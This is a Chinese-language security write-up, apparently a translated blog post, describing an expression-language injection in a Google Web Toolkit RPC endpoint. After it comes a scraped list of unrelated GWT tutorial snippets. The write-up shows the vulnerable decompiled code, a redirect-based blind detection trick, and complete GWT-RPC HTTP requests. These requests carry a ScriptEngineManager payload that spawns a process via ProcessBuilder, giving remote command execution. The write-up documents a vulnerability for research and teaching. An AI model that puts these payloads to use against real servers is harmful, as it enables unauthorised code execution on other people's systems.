我是如何在Google Web Toolkit环境中getshell的?

本文讲的是我是如何在Google Web Toolkit环境中getshell的?


导语

这篇文章会介绍在Google web开发者框架(以下称GWT)端点中注入半复杂语言表达式,导致产生高危漏洞。

漏洞介绍

在WEB-INF/web.xml中,我找到了以下web端点映射:

<servlet>
    <servlet-name>someService</servlet-name>
    <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>someService</servlet-name>
    <url-pattern>/someService.gwtsvc</url-pattern>
</servlet-mapping>

上述代码中可以发现引用了服务器映射。由于GWT通过定义客户端类,以便于表示客户端能够进行访问哪些方法。所以现在让我们看看这些客户端类com.aaa.bbb.ccc.ddd.client:

public abstract interface SomeService
  extends RemoteService
{
  public abstract void sendBeanName(String paramString);
  public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList);
  public abstract void createMibNodeGettingBean();
}

我们可以得到看起来很有趣的三个函数,所以把它们单独拿出来,看看它们的各自功能都是什么。在使用SomeServiceImpl类的jar主函数中,我们找到了如下代码:

public void sendBeanName(String paramString)
  {
    if (paramString == null) {
      return;
    }
    HttpSession localHttpSession = super.getThreadLocalRequest().getSession();
    if (localHttpSession != null) {
      localHttpSession.setAttribute("MibWidgetBeanName", paramString);
    }
  }

在这段代码中我们通过输入字符串来更改”MibWidgetBeanName”属性。除了这一点,好像没有什么可以利用的。所以让我们继续查看setMibNodesInfo函数:

 public Boolean setMibNodesInfo(List<MIBNodeModel> paramList)
  {
    List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);
    if (localList != null)
    {
      MibNodesSelect localMibNodesSelect = getBeanByName();

这个函数需要一个MIBNodeModel类型的一个列表。mibNodeModelList2MibNodeList这个方法会检查我们输入的列表是否符合规范,并且根据列表的一个元素的值返回不同的值。

如果列表是空,这个函数会定义一个新列表,并且将内容设置为MIBNodeModel的默认值。然后getBeanByName函数就会被调用。继续看看这一函数吧:)

 private MibNodesSelect getBeanByName()
  {
    ...
    Object localObject1 = super.getThreadLocalRequest().getSession();
    if (localObject1 != null)
    {
      localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
      if (localObject2 != null)
      {
        localObject3 = null;
        try
        {
          localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
        }
        finally
        {
          if ((localFacesContext != null) && (i != 0)) {
            localFacesContext.release();
          }
        }
        return (MibNodesSelect)localObject3;
      }
    }
    return null;
  }

由于这是一个私有函数,所以我们不能通过客户端直接查看到这个函数的内容。在第8行我们可以了解到这里再次使用了”MibWidgetBeanName”属性,将一个字符串存储到了localObject2中。

localObject2这个变量稍后会在第14行被用到去接受一个语言表达式。很明显,这是一个经典的表达式注入漏洞,不过前提是先反汇编出代码呀~

攻击过程

首先,这不是一个有返回值的语言表达式注入漏洞。这就意味着你不知道它是不是已经执行你输入的命令。因此,我将它认为是语言表达式盲注。

我通过一个简单的例子进行说明,假如我们一个JSF(java服务器框架)存在这样的一个漏洞,那么漏洞代码会类似下方:

<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />

那么,通过下方攻击代码就可以实现攻击:

http://[target]/some_endpoint/vuln.jsf?expression=9%3b1

由于浏览器会将”+”号转换为空格,所以我们对”+”号进行url编码,如果我们得到的结果是10,那么我们就知道服务器已经执行这一个”9+1”这个命令。使用数学表达式进行注入检测是burpsuit检测注入的方法。

但是,在上述我们进行审计的代码当中,我们是不是不能去轻易的判断他是不是存在语言表达式漏洞?当然不是,我们还有其他方法。通过查找JSF说明文档,我发现了一些特别棒的函数,能够方便我们在不发出http请求确定是否存在EL注入。

Oracle官方文档陈述道你可以在FacesContext对象中使用getExternalContext方法。这个方法会返回一个ExternalContext类型的值,它允许我们设置特定对象的响应属性。当我查看文档时,这两个函数引起了我的注意:

1. setResponseCharacterEncoding
2. redirect

因此我们可以通过设置这个特定字符串为下面java代码:

facesContext.getExternalContext().redirect("http://srcincite.io/");

如果响应状态值为302,重定向到了”http://srcincite.io/ “,那么我们就可以确定存在漏洞。

测试漏洞

我们第一个请求是对MibWidgetBeanName属性进行赋值.

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 195
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|

通过返回响应为”//ok[[],0,6]”可以了解到,我们对GWT注意已经成功。然后第二个请求触发存放在session中的字符串。但是,当我们发送请求之前,因为setMibNodesInfo函数传入的是一个复杂的变量类型,我们需要查看被保护文件的源代码,了解一下允许提交的类型。在[strong
name].gwt.rpc文件中,我找到了在数组中可以提交的类型: java.util.ArrayList/382197682.
现在我们可以发送我们的请求数据了:

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

正确的返回包内容应该和下面相似:

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close

//OK[0,1,["java.lang.Boolean/476441737"],0,6]

当然,能够重定向说明已经执行成功了。但是我们需要的是得到shell,在读到一个很棒的博客(http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html)之后我发现我可以使用ScriptEngineManager的脚本执行java代码。不过他们的代码都特别长,所以我使用相同的方法自己写了一个:

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")

更新MibWidgetBeanName属性值,然后使用setMibNodesInfo再一次除非这个字符串,然后得到系统权限:

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")|1|2|3|4|1|5|6|

触发语言表达式:

POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base: 
X-GWT-Permutation: 
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|

结论

这一漏洞几乎不可能在黑盒渗透测试中被发现。像burp suite这样的工具不会发现这样的漏洞,尤其是在考虑到字符串储存到seesion中这种情况。

随着网络技术的进步,我们对自动化的依赖越来越大, 在这一领域我们需要更多知识,技能以及工具。

原文发布时间为:2017年5月24日

本文作者:xnianq

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-09-03 19:32:52

我是如何在Google Web Toolkit环境中getshell的?的相关文章

面向 Java 开发人员的 Ajax: 探索 Google Web Toolkit

ajax|google|web GWT(请参阅 参考资料)采用了一种不寻常的方式进行 Web 应用程序开发.它没有采用客户端和服务器端代码库的普通隔离,而是提供了一个 Java API,该 API 允许创建基于组件的 GUI,然后编译它们,从而在用户的 Web 浏览器上显示它们. 与一般的 Web 应用程序开发体验相比,使用 GWT 更接近于使用 Swing 或 SWT 进行开发,它还试图将 HTTP 协议和 HTML DOM 模型抽象出去.实际上,应用程序最终几乎总是会呈现在 Web 浏览器中

面向 Java 开发人员的 Ajax: Google Web Toolkit 入门

简介: Ajax 被用于创建更加动态和交互性更好的 Web 应用程序.Google Web Toolkit (简称GWT) 是 Google 推出的 Ajax 应用开发包,GWT 支持开发者使用Java 语言开发 Ajax 应用.本文中作者将介绍如何使用 GWT 开发 Ajax 应用的基本方法和步骤. ## Ajax简介 ## Ajax是 Asynchronous JavaScript and XML(以及 DHTML 等)的缩写,由XHTML.CSS.JavaScript.XMLHttpReq

Google Web Toolkit框架简介

Google Web Toolkit(GWT)是一个开源 Java 软件开发框架,旨在帮助那些不甚精通浏览器的开发人员更容易地编写 Web 2.0 应用程序,即通过 AJAX 编写异步 web 应用程序,请参阅 Google Web Toolkit 站点.现在,编写动态 web 应用程序是一个单调乏味且容易出错的过程,需要花费 90% 的时间来处理 web 浏览器与平台之间细微的不兼容性,而且由于 JavaScript 不具有模块性,所以很难共享.测试和重用 AJAX 组件.GWT 不但克服了这

面向Java开发人员的Ajax:探索 Google Web Toolkit

最近发布的 Google Web Toolkit (GWT) 是一组全面的 API 和工具,它支持用户几乎完全使用 Java 代码来创建动态 Web 应用程序.Philip McCarthy 回到了他广受欢迎的面向 Java 开发人员的 Ajax 系列,向您展示 GWT 能做什么,并帮助您确定它是否适合您. GWT(请参阅 参考资料)采用了一种不寻常的方式进行 Web 应用程序开发.它没有采用客户端和服务器端代码库的普通隔离,而是提供了一个 Java API,该 API 允许创建基于组件的 GU

使用Google Web Toolkit、Apache Derby和Eclipse构建Ajax应用程序 1

GWT 使得构建富 Ajax 浏览器客户机界面比构建传统 Java GUI 界面还要轻松.然而,即使是 GWT 这样出色的技术也无法独自构建出一个完整的 Web 应用程序.您还必须有一个服务器上的数据存储和某种类型的框架,以便将数据转换成 GWT 可从服务器传递给其客户的 Java 对象.在这一系列文章中,您将使用 Apache Derby 这个 100% 纯 Java 数据库,可将其嵌入与其余服务器端代码相同的 Java 虚拟机(JVM)之中. 本系列的第一篇文章主要探讨 GWT.在这里,您将

面向Java开发人员的Ajax:Google Web Toolkit入门

Ajax简介 Ajax是 Asynchronous JavaScript and XML(以及 DHTML 等)的缩写,由XHTML.CSS.JavaScript.XMLHttpRequest.XML等技术组合而成,是当前Web应用开发领域的热门技术,用于创建更加动态和交互性更好的Web应用程序,提升用户的浏览体验. Ajax的核心是JavaScript对象XmlHttpRequest.XmlHttpRequest处理所有服务器通信的对象,是一种支持异步请求的技术.简而言之,XmlHttpReq

使用Google Web Toolkit和JSON开发Ajax应用程序

Google Web Toolkit 和 JSON 简介 Google Web Toolkit(GWT)是一套用来开发 Ajax 程序的工具,它支持开发者使用 Java 代码来创建 Ajax 的应用程序. JSON (JavaScript Object Notation)是一种轻量级的数据交换格式.它是一种完全和语言无关的文本格式.同时由于 JSON 是 JavaScript 的对象文字符号的子集,所以在 Ajax 开发中,经常用来作为客户端和服务器端数据交换的标准格式. 本文将关注如何使用 G

使用Google Web Toolkit和Eclipse Galileo进行高性能Web开发

您以前可能听说过 Google Web Toolkit (GWT),它支持以 Java 编程语言编写 Web 应用程序,然后将 Web 应用程序编译为 JavaScript 以便在 Web 浏览器中运行.这允许通过利用 Java 的静态类型和 Eclipse 之类的出色工具提高生产力.您也许看到过一些构建在 GWT 上的有用的.流行的小部件.有一点您也许不知道,GWT 支持创建高性能 Web 应用程序. 先决条件 本文将查看几个 GWT 特性,以及这些特性如何帮助您构建高性能 Web 应用程序.

GWT应用,第1部分:使用Google Web Toolkit实现places应用程序

我从上世纪 90 年代开始使用 Swing.我钟爱 Swing 的原因是它能够实现您的一切想法.对我而言,这就是开发软件的奇妙之处:能够在屏幕上实现自己的想法.借助 Swing API,您可以轻松各种各样的应用程序,从拖放式工具到街机游戏,无所不能. 然后,服务器端 Java 和 Struts 等原始框架的出现让软件开发又回到 20 世纪 60 年代的水平,它们只能类似于大型机的窗体.没有拖放操作,没有街机游戏,没有任何乐趣,我们感觉就像又回到了编程的石器时代. 这正是我钟情于 Google W